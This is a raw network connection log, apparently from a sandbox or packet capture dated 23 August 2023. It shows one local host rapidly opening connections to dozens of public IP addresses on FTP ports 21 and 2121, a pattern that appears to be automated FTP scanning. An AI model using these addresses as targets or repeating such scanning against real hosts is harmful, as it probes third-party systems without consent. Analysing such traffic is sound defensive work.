Aug 23, 2023 09:15:11.789468050 CEST	50541	2121	192.168.2.3	87.65.226.227
Aug 23, 2023 09:15:11.789927959 CEST	50543	21	192.168.2.3	187.142.232.230
Aug 23, 2023 09:15:11.790282965 CEST	50544	21	192.168.2.3	156.252.230.22
Aug 23, 2023 09:15:11.790283918 CEST	50542	2121	192.168.2.3	156.252.230.22
Aug 23, 2023 09:15:11.790710926 CEST	50545	2121	192.168.2.3	107.145.146.200
Aug 23, 2023 09:15:11.970175028 CEST	21	50544	156.252.230.22	192.168.2.3
Aug 23, 2023 09:15:12.047234058 CEST	50547	2121	192.168.2.3	187.142.232.230
Aug 23, 2023 09:15:12.047358990 CEST	50548	21	192.168.2.3	74.64.128.14
Aug 23, 2023 09:15:12.047416925 CEST	50549	2121	192.168.2.3	74.64.128.14
Aug 23, 2023 09:15:12.047552109 CEST	50550	21	192.168.2.3	115.72.41.145
Aug 23, 2023 09:15:12.057492018 CEST	50551	2121	192.168.2.3	115.72.41.145
Aug 23, 2023 09:15:12.149785995 CEST	50531	21	192.168.2.3	103.103.63.25
Aug 23, 2023 09:15:12.165397882 CEST	50495	21	192.168.2.3	79.3.67.175
Aug 23, 2023 09:15:12.196666956 CEST	50529	21	192.168.2.3	14.91.171.152
Aug 23, 2023 09:15:12.196676970 CEST	50532	2121	192.168.2.3	103.103.63.25
Aug 23, 2023 09:15:12.199948072 CEST	50530	2121	192.168.2.3	14.91.171.152
Aug 23, 2023 09:15:12.227922916 CEST	50496	2121	192.168.2.3	79.3.67.175
Aug 23, 2023 09:15:12.307037115 CEST	50552	21	192.168.2.3	73.253.90.123
Aug 23, 2023 09:15:12.384232044 CEST	50498	2121	192.168.2.3	84.148.65.35
Aug 23, 2023 09:15:12.384278059 CEST	50497	21	192.168.2.3	84.148.65.35
Aug 23, 2023 09:15:12.384809971 CEST	50499	21	192.168.2.3	77.69.221.209
Aug 23, 2023 09:15:12.399831057 CEST	50500	2121	192.168.2.3	77.69.221.209
Aug 23, 2023 09:15:12.406092882 CEST	21	50531	103.103.63.25	192.168.2.3
Aug 23, 2023 09:15:12.453917980 CEST	2121	50532	103.103.63.25	192.168.2.3
Aug 23, 2023 09:15:12.460005999 CEST	21	50529	14.91.171.152	192.168.2.3
Aug 23, 2023 09:15:12.460537910 CEST	2121	50530	14.91.171.152	192.168.2.3
Aug 23, 2023 09:15:12.493598938 CEST	50544	21	192.168.2.3	156.252.230.22
Aug 23, 2023 09:15:12.497437954 CEST	50501	21	192.168.2.3	81.230.150.143
Aug 23, 2023 09:15:12.497441053 CEST	50502	2121	192.168.2.3	81.230.150.143
Aug 23, 2023 09:15:12.673763990 CEST	21	50544	156.252.230.22	192.168.2.3
Aug 23, 2023 09:15:12.774957895 CEST	50503	21	192.168.2.3	68.40.233.94
Aug 23, 2023 09:15:12.802103043 CEST	50553	2121	192.168.2.3	73.253.90.123
Aug 23, 2023 09:15:12.802805901 CEST	50554	21	192.168.2.3	121.147.13.93
Aug 23, 2023 09:15:12.803505898 CEST	50555	2121	192.168.2.3	121.147.13.93
Aug 23, 2023 09:15:12.804200888 CEST	50556	21	192.168.2.3	191.53.248.45
Aug 23, 2023 09:15:12.804970026 CEST	50557	2121	192.168.2.3	191.53.248.45
Aug 23, 2023 09:15:12.805591106 CEST	50558	21	192.168.2.3	213.118.221.13
Aug 23, 2023 09:15:12.807152033 CEST	50559	2121	192.168.2.3	213.118.221.13
Aug 23, 2023 09:15:12.807832003 CEST	50560	21	192.168.2.3	12.245.136.94
Aug 23, 2023 09:15:12.807938099 CEST	50561	2121	192.168.2.3	12.245.136.94
Aug 23, 2023 09:15:12.855537891 CEST	50563	21	192.168.2.3	117.96.10.128
Aug 23, 2023 09:15:12.855547905 CEST	50564	2121	192.168.2.3	117.96.10.128
Aug 23, 2023 09:15:12.855583906 CEST	50565	21	192.168.2.3	185.254.148.176
Aug 23, 2023 09:15:12.884211063 CEST	50504	2121	192.168.2.3	68.40.233.94
Aug 23, 2023 09:15:12.884812117 CEST	50566	2121	192.168.2.3	185.254.148.176
Aug 23, 2023 09:15:12.897898912 CEST	21	50565	185.254.148.176	192.168.2.3
Aug 23, 2023 09:15:12.915472031 CEST	50531	21	192.168.2.3	103.103.63.25
Aug 23, 2023 09:15:12.927494049 CEST	2121	50566	185.254.148.176	192.168.2.3
Aug 23, 2023 09:15:12.996129990 CEST	50532	2121	192.168.2.3	103.103.63.25
Aug 23, 2023 09:15:12.996140003 CEST	50529	21	192.168.2.3	14.91.171.152
Aug 23, 2023 09:15:12.996167898 CEST	50530	2121	192.168.2.3	14.91.171.152
Aug 23, 2023 09:15:13.037602901 CEST	21	50556	191.53.248.45	192.168.2.3
Aug 23, 2023 09:15:13.038521051 CEST	2121	50557	191.53.248.45	192.168.2.3
Aug 23, 2023 09:15:13.041471958 CEST	50567	21	192.168.2.3	34.30.203.112
Aug 23, 2023 09:15:13.072629929 CEST	50568	2121	192.168.2.3	34.30.203.112
Aug 23, 2023 09:15:13.166763067 CEST	50569	21	192.168.2.3	98.218.153.90
Aug 23, 2023 09:15:13.167727947 CEST	50570	2121	192.168.2.3	98.218.153.90
Aug 23, 2023 09:15:13.173451900 CEST	21	50531	103.103.63.25	192.168.2.3
Aug 23, 2023 09:15:13.174994946 CEST	50571	21	192.168.2.3	125.185.129.52
Aug 23, 2023 09:15:13.196845055 CEST	50544	21	192.168.2.3	156.252.230.22
Aug 23, 2023 09:15:13.255558968 CEST	21	50529	14.91.171.152	192.168.2.3
Aug 23, 2023 09:15:13.256731033 CEST	50572	2121	192.168.2.3	125.185.129.52
Aug 23, 2023 09:15:13.257447958 CEST	2121	50530	14.91.171.152	192.168.2.3
Aug 23, 2023 09:15:13.266971111 CEST	50573	21	192.168.2.3	221.163.198.122
Aug 23, 2023 09:15:13.271534920 CEST	2121	50532	103.103.63.25	192.168.2.3
Aug 23, 2023 09:15:13.272701979 CEST	50574	2121	192.168.2.3	221.163.198.122
Aug 23, 2023 09:15:13.326108932 CEST	50575	21	192.168.2.3	173.19.66.239
Aug 23, 2023 09:15:13.327049017 CEST	50576	2121	192.168.2.3	173.19.66.239
Aug 23, 2023 09:15:13.375499964 CEST	21	50544	156.252.230.22	192.168.2.3
Aug 23, 2023 09:15:13.399926901 CEST	50565	21	192.168.2.3	185.254.148.176
Aug 23, 2023 09:15:13.445498943 CEST	21	50565	185.254.148.176	192.168.2.3
Aug 23, 2023 09:15:13.448863983 CEST	50577	21	192.168.2.3	180.229.196.205
Aug 23, 2023 09:15:13.449809074 CEST	50578	2121	192.168.2.3	180.229.196.205
Aug 23, 2023 09:15:13.450002909 CEST	50579	21	192.168.2.3	179.125.244.121
Aug 23, 2023 09:15:13.450109959 CEST	50581	2121	192.168.2.3	179.125.244.121
Aug 23, 2023 09:15:13.522483110 CEST	21	50573	221.163.198.122	192.168.2.3
Aug 23, 2023 09:15:13.526737928 CEST	2121	50574	221.163.198.122	192.168.2.3
Aug 23, 2023 09:15:13.540627956 CEST	50557	2121	192.168.2.3	191.53.248.45
Aug 23, 2023 09:15:13.540667057 CEST	50556	21	192.168.2.3	191.53.248.45
Aug 23, 2023 09:15:13.603092909 CEST	50566	2121	192.168.2.3	185.254.148.176
Aug 23, 2023 09:15:13.645615101 CEST	2121	50566	185.254.148.176	192.168.2.3
Aug 23, 2023 09:15:13.773073912 CEST	2121	50557	191.53.248.45	192.168.2.3
Aug 23, 2023 09:15:13.773102045 CEST	21	50556	191.53.248.45	192.168.2.3
Aug 23, 2023 09:15:13.931304932 CEST	50505	21	192.168.2.3	108.14.13.142
Aug 23, 2023 09:15:13.931304932 CEST	50514	2121	192.168.2.3	189.48.108.218
Aug 23, 2023 09:15:13.931323051 CEST	50512	21	192.168.2.3	212.20.39.72
Aug 23, 2023 09:15:13.931324959 CEST	50506	2121	192.168.2.3	108.14.13.142
Aug 23, 2023 09:15:13.931324959 CEST	50513	21	192.168.2.3	189.48.108.218
Aug 23, 2023 09:15:13.931329012 CEST	50508	21	192.168.2.3	72.189.254.180
Aug 23, 2023 09:15:13.931332111 CEST	50511	2121	192.168.2.3	212.20.39.72
Aug 23, 2023 09:15:13.993886948 CEST	50515	21	192.168.2.3	98.30.116.153
Aug 23, 2023 09:15:13.993906975 CEST	50565	21	192.168.2.3	185.254.148.176
Aug 23, 2023 09:15:13.993915081 CEST	50510	2121	192.168.2.3	171.233.54.176
Aug 23, 2023 09:15:13.993930101 CEST	50509	21	192.168.2.3	171.233.54.176
Aug 23, 2023 09:15:13.993930101 CEST	50507	2121	192.168.2.3	72.189.254.180
Aug 23, 2023 09:15:14.037595034 CEST	21	50565	185.254.148.176	192.168.2.3
Aug 23, 2023 09:15:14.134383917 CEST	50516	2121	192.168.2.3	98.30.116.153
Aug 23, 2023 09:15:14.134443045 CEST	50517	21	192.168.2.3	217.210.130.189
Aug 23, 2023 09:15:14.134450912 CEST	50518	2121	192.168.2.3	217.210.130.189
Aug 23, 2023 09:15:14.212517977 CEST	50573	21	192.168.2.3	221.163.198.122
Aug 23, 2023 09:15:14.212908030 CEST	50574	2121	192.168.2.3	221.163.198.122
Aug 23, 2023 09:15:14.212964058 CEST	50566	2121	192.168.2.3	185.254.148.176
Aug 23, 2023 09:15:14.255255938 CEST	2121	50566	185.254.148.176	192.168.2.3
Aug 23, 2023 09:15:14.274107933 CEST	2121	50510	171.233.54.176	192.168.2.3
Aug 23, 2023 09:15:14.298459053 CEST	50582	21	192.168.2.3	80.235.32.252
Aug 23, 2023 09:15:14.299022913 CEST	50583	2121	192.168.2.3	80.235.32.252
Aug 23, 2023 09:15:14.300906897 CEST	50584	21	192.168.2.3	199.232.127.50
Aug 23, 2023 09:15:14.301619053 CEST	50585	2121	192.168.2.3	199.232.127.50
Aug 23, 2023 09:15:14.302267075 CEST	50586	21	192.168.2.3	27.32.53.229
Aug 23, 2023 09:15:14.302915096 CEST	50587	2121	192.168.2.3	27.32.53.229
Aug 23, 2023 09:15:14.303639889 CEST	50588	21	192.168.2.3	186.193.108.194
Aug 23, 2023 09:15:14.304234982 CEST	50589	2121	192.168.2.3	186.193.108.194
Aug 23, 2023 09:15:14.304945946 CEST	50590	21	192.168.2.3	47.224.122.83
Aug 23, 2023 09:15:14.337482929 CEST	50557	2121	192.168.2.3	191.53.248.45
Aug 23, 2023 09:15:14.337505102 CEST	50524	21	192.168.2.3	216.145.135.123
Aug 23, 2023 09:15:14.337507963 CEST	50522	21	192.168.2.3	73.177.87.250
Aug 23, 2023 09:15:14.337552071 CEST	50523	2121	192.168.2.3	73.177.87.250
Aug 23, 2023 09:15:14.337553024 CEST	50525	2121	192.168.2.3	216.145.135.123
Aug 23, 2023 09:15:14.337564945 CEST	50556	21	192.168.2.3	191.53.248.45
Aug 23, 2023 09:15:14.384424925 CEST	50521	2121	192.168.2.3	173.93.64.224
Aug 23, 2023 09:15:14.384465933 CEST	50533	21	192.168.2.3	222.232.105.154
Aug 23, 2023 09:15:14.384473085 CEST	50520	21	192.168.2.3	173.93.64.224
Aug 23, 2023 09:15:14.385596991 CEST	50534	2121	192.168.2.3	222.232.105.154
Aug 23, 2023 09:15:14.394609928 CEST	50591	2121	192.168.2.3	47.224.122.83
Aug 23, 2023 09:15:14.421911001 CEST	50592	21	192.168.2.3	31.162.214.106
Aug 23, 2023 09:15:14.422878981 CEST	50593	2121	192.168.2.3	31.162.214.106
Aug 23, 2023 09:15:14.423734903 CEST	50594	21	192.168.2.3	189.186.239.191
Aug 23, 2023 09:15:14.446916103 CEST	50527	21	192.168.2.3	73.204.253.173
Aug 23, 2023 09:15:14.446926117 CEST	50535	21	192.168.2.3	180.248.47.154
Aug 23, 2023 09:15:14.446927071 CEST	50528	2121	192.168.2.3	73.204.253.173
Aug 23, 2023 09:15:14.446991920 CEST	50536	2121	192.168.2.3	180.248.47.154
Aug 23, 2023 09:15:14.467015982 CEST	2121	50574	221.163.198.122	192.168.2.3
Aug 23, 2023 09:15:14.467271090 CEST	21	50573	221.163.198.122	192.168.2.3
Aug 23, 2023 09:15:14.504652977 CEST	50537	21	192.168.2.3	59.152.146.30
Aug 23, 2023 09:15:14.571742058 CEST	21	50556	191.53.248.45	192.168.2.3
Aug 23, 2023 09:15:14.571791887 CEST	2121	50557	191.53.248.45	192.168.2.3
Aug 23, 2023 09:15:14.573306084 CEST	50595	21	192.168.2.3	31.181.188.140
Aug 23, 2023 09:15:14.573415995 CEST	50596	2121	192.168.2.3	189.186.239.191
Aug 23, 2023 09:15:14.775790930 CEST	50597	2121	192.168.2.3	31.181.188.140
Aug 23, 2023 09:15:14.827533960 CEST	50539	21	192.168.2.3	107.145.146.200
Aug 23, 2023 09:15:14.827614069 CEST	50542	2121	192.168.2.3	156.252.230.22
Aug 23, 2023 09:15:14.827625990 CEST	50545	2121	192.168.2.3	107.145.146.200
Aug 23, 2023 09:15:14.884387016 CEST	50510	2121	192.168.2.3	171.233.54.176
Aug 23, 2023 09:15:14.884393930 CEST	50538	2121	192.168.2.3	59.152.146.30
Aug 23, 2023 09:15:14.884413004 CEST	50540	21	192.168.2.3	87.65.226.227
Aug 23, 2023 09:15:14.884452105 CEST	50541	2121	192.168.2.3	87.65.226.227
Aug 23, 2023 09:15:14.884484053 CEST	50543	21	192.168.2.3	187.142.232.230
Aug 23, 2023 09:15:14.900645971 CEST	50599	21	192.168.2.3	187.137.71.71
Aug 23, 2023 09:15:14.993752003 CEST	50574	2121	192.168.2.3	221.163.198.122
Aug 23, 2023 09:15:14.993782997 CEST	50573	21	192.168.2.3	221.163.198.122
Aug 23, 2023 09:15:15.134403944 CEST	50547	2121	192.168.2.3	187.142.232.230
Aug 23, 2023 09:15:15.165497065 CEST	2121	50510	171.233.54.176	192.168.2.3
Aug 23, 2023 09:15:15.166338921 CEST	50602	2121	192.168.2.3	187.137.71.71
Aug 23, 2023 09:15:15.196943998 CEST	50548	21	192.168.2.3	74.64.128.14
Aug 23, 2023 09:15:15.197133064 CEST	50551	2121	192.168.2.3	115.72.41.145
Aug 23, 2023 09:15:15.197144032 CEST	50550	21	192.168.2.3	115.72.41.145
Aug 23, 2023 09:15:15.197144985 CEST	50549	2121	192.168.2.3	74.64.128.14
Aug 23, 2023 09:15:15.247874975 CEST	2121	50574	221.163.198.122	192.168.2.3
Aug 23, 2023 09:15:15.248394966 CEST	21	50573	221.163.198.122	192.168.2.3
Aug 23, 2023 09:15:15.248609066 CEST	50603	21	192.168.2.3	125.142.134.240
Aug 23, 2023 09:15:15.249017000 CEST	50604	2121	192.168.2.3	125.142.134.240
Aug 23, 2023 09:15:15.337538004 CEST	50552	21	192.168.2.3	73.253.90.123
Aug 23, 2023 09:15:15.504801989 CEST	21	50603	125.142.134.240	192.168.2.3
Aug 23, 2023 09:15:15.505516052 CEST	2121	50604	125.142.134.240	192.168.2.3
Aug 23, 2023 09:15:15.837644100 CEST	50553	2121	192.168.2.3	73.253.90.123
Aug 23, 2023 09:15:15.869494915 CEST	50607	21	192.168.2.3	61.89.145.127
Aug 23, 2023 09:15:15.884483099 CEST	50555	2121	192.168.2.3	121.147.13.93
Aug 23, 2023 09:15:15.884483099 CEST	50558	21	192.168.2.3	213.118.221.13
Aug 23, 2023 09:15:15.884499073 CEST	50561	2121	192.168.2.3	12.245.136.94
Aug 23, 2023 09:15:15.884510994 CEST	50554	21	192.168.2.3	121.147.13.93
Aug 23, 2023 09:15:15.884511948 CEST	50559	2121	192.168.2.3	213.118.221.13
Aug 23, 2023 09:15:15.884511948 CEST	50564	2121	192.168.2.3	117.96.10.128
Aug 23, 2023 09:15:15.884522915 CEST	50560	21	192.168.2.3	12.245.136.94
Aug 23, 2023 09:15:15.920865059 CEST	50608	2121	192.168.2.3	61.89.145.127
Aug 23, 2023 09:15:15.920958042 CEST	50609	21	192.168.2.3	93.132.160.89
Aug 23, 2023 09:15:15.921051979 CEST	50610	21	192.168.2.3	212.111.7.201
Aug 23, 2023 09:15:15.921159983 CEST	50613	2121	192.168.2.3	93.132.160.89
Aug 23, 2023 09:15:15.921185017 CEST	50611	21	192.168.2.3	209.58.179.103
Aug 23, 2023 09:15:15.921217918 CEST	50612	2121	192.168.2.3	212.111.7.201
Aug 23, 2023 09:15:15.948344946 CEST	50614	2121	192.168.2.3	209.58.179.103
Aug 23, 2023 09:15:15.948908091 CEST	50615	21	192.168.2.3	73.131.67.222
Aug 23, 2023 09:15:15.957048893 CEST	21	50610	212.111.7.201	192.168.2.3
Aug 23, 2023 09:15:15.961117029 CEST	2121	50612	212.111.7.201	192.168.2.3
Aug 23, 2023 09:15:15.963567019 CEST	50616	2121	192.168.2.3	73.131.67.222
Aug 23, 2023 09:15:15.963664055 CEST	50617	21	192.168.2.3	96.241.237.233
Aug 23, 2023 09:15:15.980714083 CEST	50618	2121	192.168.2.3	96.241.237.233
Aug 23, 2023 09:15:16.025114059 CEST	50563	21	192.168.2.3	117.96.10.128
Aug 23, 2023 09:15:16.025157928 CEST	50603	21	192.168.2.3	125.142.134.240
Aug 23, 2023 09:15:16.088351965 CEST	50620	21	192.168.2.3	75.194.70.142
Aug 23, 2023 09:15:16.092344999 CEST	21	50611	209.58.179.103	192.168.2.3
Aug 23, 2023 09:15:16.121718884 CEST	2121	50614	209.58.179.103	192.168.2.3
Aug 23, 2023 09:15:16.197062969 CEST	50567	21	192.168.2.3	34.30.203.112
Aug 23, 2023 09:15:16.197072029 CEST	50604	2121	192.168.2.3	125.142.134.240
Aug 23, 2023 09:15:16.197093964 CEST	50568	2121	192.168.2.3	34.30.203.112
Aug 23, 2023 09:15:16.197093964 CEST	50569	21	192.168.2.3	98.218.153.90
Aug 23, 2023 09:15:16.197129011 CEST	50570	2121	192.168.2.3	98.218.153.90
Aug 23, 2023 09:15:16.277590036 CEST	50622	2121	192.168.2.3	75.194.70.142
Aug 23, 2023 09:15:16.277607918 CEST	50623	21	192.168.2.3	71.115.0.186
Aug 23, 2023 09:15:16.277699947 CEST	50624	2121	192.168.2.3	71.115.0.186
Aug 23, 2023 09:15:16.282207966 CEST	21	50603	125.142.134.240	192.168.2.3
Aug 23, 2023 09:15:16.291549921 CEST	50625	21	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:16.297219038 CEST	50571	21	192.168.2.3	125.185.129.52
Aug 23, 2023 09:15:16.307712078 CEST	50626	2121	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:16.307972908 CEST	21	50625	165.225.26.77	192.168.2.3
Aug 23, 2023 09:15:16.308063030 CEST	50625	21	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:16.323206902 CEST	50627	21	192.168.2.3	84.123.227.218
Aug 23, 2023 09:15:16.384547949 CEST	50572	2121	192.168.2.3	125.185.129.52
Aug 23, 2023 09:15:16.386878014 CEST	50628	2121	192.168.2.3	84.123.227.218
Aug 23, 2023 09:15:16.387250900 CEST	50629	21	192.168.2.3	112.170.228.19
Aug 23, 2023 09:15:16.403610945 CEST	50630	2121	192.168.2.3	112.170.228.19
Aug 23, 2023 09:15:16.405067921 CEST	50631	21	192.168.2.3	70.66.188.63
Aug 23, 2023 09:15:16.405987024 CEST	50632	2121	192.168.2.3	70.66.188.63
Aug 23, 2023 09:15:16.406910896 CEST	50633	21	192.168.2.3	80.237.101.83
Aug 23, 2023 09:15:16.422446012 CEST	21	50625	165.225.26.77	192.168.2.3
Aug 23, 2023 09:15:16.422467947 CEST	21	50625	165.225.26.77	192.168.2.3
Aug 23, 2023 09:15:16.422660112 CEST	50625	21	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:16.422844887 CEST	50625	21	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:16.424640894 CEST	50634	2121	192.168.2.3	80.237.101.83
Aug 23, 2023 09:15:16.431400061 CEST	50575	21	192.168.2.3	173.19.66.239
Aug 23, 2023 09:15:16.431418896 CEST	50576	2121	192.168.2.3	173.19.66.239
Aug 23, 2023 09:15:16.439104080 CEST	21	50625	165.225.26.77	192.168.2.3
Aug 23, 2023 09:15:16.457705975 CEST	2121	50604	125.142.134.240	192.168.2.3
Aug 23, 2023 09:15:16.464327097 CEST	50635	21	192.168.2.3	20.8.110.22
Aug 23, 2023 09:15:16.493901014 CEST	50577	21	192.168.2.3	180.229.196.205
Aug 23, 2023 09:15:16.493932962 CEST	50578	2121	192.168.2.3	180.229.196.205
Aug 23, 2023 09:15:16.586808920 CEST	50581	2121	192.168.2.3	179.125.244.121
Aug 23, 2023 09:15:16.586810112 CEST	50612	2121	192.168.2.3	212.111.7.201
Aug 23, 2023 09:15:16.586843967 CEST	50579	21	192.168.2.3	179.125.244.121
Aug 23, 2023 09:15:16.586843967 CEST	50610	21	192.168.2.3	212.111.7.201
Aug 23, 2023 09:15:16.624365091 CEST	2121	50612	212.111.7.201	192.168.2.3
Aug 23, 2023 09:15:16.625719070 CEST	21	50610	212.111.7.201	192.168.2.3
Aug 23, 2023 09:15:16.697069883 CEST	50614	2121	192.168.2.3	209.58.179.103
Aug 23, 2023 09:15:16.708718061 CEST	50611	21	192.168.2.3	209.58.179.103
Aug 23, 2023 09:15:16.806294918 CEST	50636	21	192.168.2.3	20.122.152.193
Aug 23, 2023 09:15:16.806673050 CEST	50637	2121	192.168.2.3	20.122.152.193
Aug 23, 2023 09:15:16.806680918 CEST	50638	2121	192.168.2.3	70.93.227.49
Aug 23, 2023 09:15:16.806807041 CEST	50639	21	192.168.2.3	206.75.194.226
Aug 23, 2023 09:15:16.807002068 CEST	50640	2121	192.168.2.3	20.8.110.22
Aug 23, 2023 09:15:16.807069063 CEST	50641	21	192.168.2.3	70.93.227.49
Aug 23, 2023 09:15:16.822779894 CEST	50642	2121	192.168.2.3	206.75.194.226
Aug 23, 2023 09:15:16.837651968 CEST	50603	21	192.168.2.3	125.142.134.240
Aug 23, 2023 09:15:16.866575956 CEST	2121	50614	209.58.179.103	192.168.2.3
Aug 23, 2023 09:15:16.880135059 CEST	21	50611	209.58.179.103	192.168.2.3
Aug 23, 2023 09:15:16.993942022 CEST	50604	2121	192.168.2.3	125.142.134.240
Aug 23, 2023 09:15:17.057785034 CEST	50643	21	192.168.2.3	145.18.78.61
Aug 23, 2023 09:15:17.059319019 CEST	50644	2121	192.168.2.3	145.18.78.61
Aug 23, 2023 09:15:17.059501886 CEST	50645	21	192.168.2.3	119.68.126.178
Aug 23, 2023 09:15:17.059546947 CEST	50646	2121	192.168.2.3	119.68.126.178
Aug 23, 2023 09:15:17.072583914 CEST	50647	21	192.168.2.3	201.127.57.17
Aug 23, 2023 09:15:17.097857952 CEST	21	50603	125.142.134.240	192.168.2.3
Aug 23, 2023 09:15:17.101851940 CEST	50649	2121	192.168.2.3	201.127.57.17
Aug 23, 2023 09:15:17.134666920 CEST	50612	2121	192.168.2.3	212.111.7.201
Aug 23, 2023 09:15:17.135495901 CEST	50610	21	192.168.2.3	212.111.7.201
Aug 23, 2023 09:15:17.169320107 CEST	2121	50612	212.111.7.201	192.168.2.3
Aug 23, 2023 09:15:17.170110941 CEST	50650	21	192.168.2.3	76.103.239.47
Aug 23, 2023 09:15:17.177292109 CEST	21	50610	212.111.7.201	192.168.2.3
Aug 23, 2023 09:15:17.181832075 CEST	50651	2121	192.168.2.3	76.103.239.47
Aug 23, 2023 09:15:17.251674891 CEST	2121	50604	125.142.134.240	192.168.2.3
Aug 23, 2023 09:15:17.253652096 CEST	50652	21	192.168.2.3	103.190.81.252
Aug 23, 2023 09:15:17.316709995 CEST	2121	50646	119.68.126.178	192.168.2.3
Aug 23, 2023 09:15:17.322783947 CEST	50653	2121	192.168.2.3	103.190.81.252
Aug 23, 2023 09:15:17.331125975 CEST	50582	21	192.168.2.3	80.235.32.252
Aug 23, 2023 09:15:17.331163883 CEST	50587	2121	192.168.2.3	27.32.53.229
Aug 23, 2023 09:15:17.331163883 CEST	50590	21	192.168.2.3	47.224.122.83
Aug 23, 2023 09:15:17.331170082 CEST	50583	2121	192.168.2.3	80.235.32.252
Aug 23, 2023 09:15:17.331172943 CEST	50586	21	192.168.2.3	27.32.53.229
Aug 23, 2023 09:15:17.384603977 CEST	50584	21	192.168.2.3	199.232.127.50
Aug 23, 2023 09:15:17.384603977 CEST	50589	2121	192.168.2.3	186.193.108.194
Aug 23, 2023 09:15:17.384835958 CEST	50585	2121	192.168.2.3	199.232.127.50
Aug 23, 2023 09:15:17.384836912 CEST	50588	21	192.168.2.3	186.193.108.194
Aug 23, 2023 09:15:17.384839058 CEST	50614	2121	192.168.2.3	209.58.179.103
Aug 23, 2023 09:15:17.431509018 CEST	50611	21	192.168.2.3	209.58.179.103
Aug 23, 2023 09:15:17.431509018 CEST	50591	2121	192.168.2.3	47.224.122.83
Aug 23, 2023 09:15:17.431693077 CEST	50592	21	192.168.2.3	31.162.214.106
Aug 23, 2023 09:15:17.431749105 CEST	50593	2121	192.168.2.3	31.162.214.106
Aug 23, 2023 09:15:17.448834896 CEST	21	50652	103.190.81.252	192.168.2.3
Aug 23, 2023 09:15:17.494250059 CEST	50594	21	192.168.2.3	189.186.239.191
Aug 23, 2023 09:15:17.517532110 CEST	2121	50653	103.190.81.252	192.168.2.3
Aug 23, 2023 09:15:17.554604053 CEST	2121	50614	209.58.179.103	192.168.2.3
Aug 23, 2023 09:15:17.556305885 CEST	50655	21	192.168.2.3	46.217.47.247
Aug 23, 2023 09:15:17.602528095 CEST	21	50611	209.58.179.103	192.168.2.3
Aug 23, 2023 09:15:17.603215933 CEST	50656	2121	192.168.2.3	46.217.47.247
Aug 23, 2023 09:15:17.697191954 CEST	50596	2121	192.168.2.3	189.186.239.191
Aug 23, 2023 09:15:17.697770119 CEST	50595	21	192.168.2.3	31.181.188.140
Aug 23, 2023 09:15:17.807796001 CEST	50658	21	192.168.2.3	209.6.11.130
Aug 23, 2023 09:15:17.811249018 CEST	50659	2121	192.168.2.3	209.6.11.130
Aug 23, 2023 09:15:17.811341047 CEST	50660	21	192.168.2.3	69.243.120.88
Aug 23, 2023 09:15:17.811500072 CEST	50661	2121	192.168.2.3	69.243.120.88
Aug 23, 2023 09:15:17.823184967 CEST	50662	21	192.168.2.3	131.148.88.66
Aug 23, 2023 09:15:17.823824883 CEST	50663	2121	192.168.2.3	131.148.88.66
Aug 23, 2023 09:15:17.824579954 CEST	50664	21	192.168.2.3	189.75.45.107
Aug 23, 2023 09:15:17.839831114 CEST	50646	2121	192.168.2.3	119.68.126.178
Aug 23, 2023 09:15:17.855319977 CEST	50665	2121	192.168.2.3	189.75.45.107
Aug 23, 2023 09:15:17.855323076 CEST	50666	21	192.168.2.3	170.130.220.91
Aug 23, 2023 09:15:17.884650946 CEST	50597	2121	192.168.2.3	31.181.188.140
Aug 23, 2023 09:15:17.963255882 CEST	50652	21	192.168.2.3	103.190.81.252
Aug 23, 2023 09:15:17.963327885 CEST	50599	21	192.168.2.3	187.137.71.71
Aug 23, 2023 09:15:18.022835970 CEST	21	50666	170.130.220.91	192.168.2.3
Aug 23, 2023 09:15:18.057179928 CEST	50668	2121	192.168.2.3	170.130.220.91
Aug 23, 2023 09:15:18.086684942 CEST	2121	50646	119.68.126.178	192.168.2.3
Aug 23, 2023 09:15:18.088562012 CEST	50669	21	192.168.2.3	93.235.57.188
Aug 23, 2023 09:15:18.106734991 CEST	50653	2121	192.168.2.3	103.190.81.252
Aug 23, 2023 09:15:18.158169031 CEST	21	50652	103.190.81.252	192.168.2.3
Aug 23, 2023 09:15:18.188803911 CEST	50670	2121	192.168.2.3	93.235.57.188
Aug 23, 2023 09:15:18.190609932 CEST	50671	21	192.168.2.3	174.65.239.165
Aug 23, 2023 09:15:18.190831900 CEST	50672	2121	192.168.2.3	174.65.239.165
Aug 23, 2023 09:15:18.228405952 CEST	50602	2121	192.168.2.3	187.137.71.71
Aug 23, 2023 09:15:18.260457039 CEST	50673	21	192.168.2.3	81.244.74.99
Aug 23, 2023 09:15:18.301410913 CEST	2121	50653	103.190.81.252	192.168.2.3
Aug 23, 2023 09:15:18.338852882 CEST	50674	21	192.168.2.3	82.146.118.145
Aug 23, 2023 09:15:18.338871956 CEST	50675	2121	192.168.2.3	81.244.74.99
Aug 23, 2023 09:15:18.367727995 CEST	21	50674	82.146.118.145	192.168.2.3
Aug 23, 2023 09:15:18.463689089 CEST	50676	2121	192.168.2.3	82.146.118.145
Aug 23, 2023 09:15:18.464517117 CEST	50677	21	192.168.2.3	1.170.70.224
Aug 23, 2023 09:15:18.465240955 CEST	50678	2121	192.168.2.3	1.170.70.224
Aug 23, 2023 09:15:18.465969086 CEST	50679	21	192.168.2.3	184.180.83.193
Aug 23, 2023 09:15:18.499068022 CEST	2121	50676	82.146.118.145	192.168.2.3
Aug 23, 2023 09:15:18.595540047 CEST	21	50679	184.180.83.193	192.168.2.3
Aug 23, 2023 09:15:18.615045071 CEST	50646	2121	192.168.2.3	119.68.126.178
Aug 23, 2023 09:15:18.697222948 CEST	50666	21	192.168.2.3	170.130.220.91
Aug 23, 2023 09:15:18.728475094 CEST	50652	21	192.168.2.3	103.190.81.252
Aug 23, 2023 09:15:18.738044024 CEST	21	50677	1.170.70.224	192.168.2.3
Aug 23, 2023 09:15:18.738158941 CEST	2121	50678	1.170.70.224	192.168.2.3
Aug 23, 2023 09:15:18.828644991 CEST	50653	2121	192.168.2.3	103.190.81.252
Aug 23, 2023 09:15:18.862051964 CEST	2121	50646	119.68.126.178	192.168.2.3
Aug 23, 2023 09:15:18.863332033 CEST	50681	2121	192.168.2.3	184.180.83.193
Aug 23, 2023 09:15:18.865113020 CEST	21	50666	170.130.220.91	192.168.2.3
Aug 23, 2023 09:15:18.884763002 CEST	50607	21	192.168.2.3	61.89.145.127
Aug 23, 2023 09:15:18.888104916 CEST	50674	21	192.168.2.3	82.146.118.145
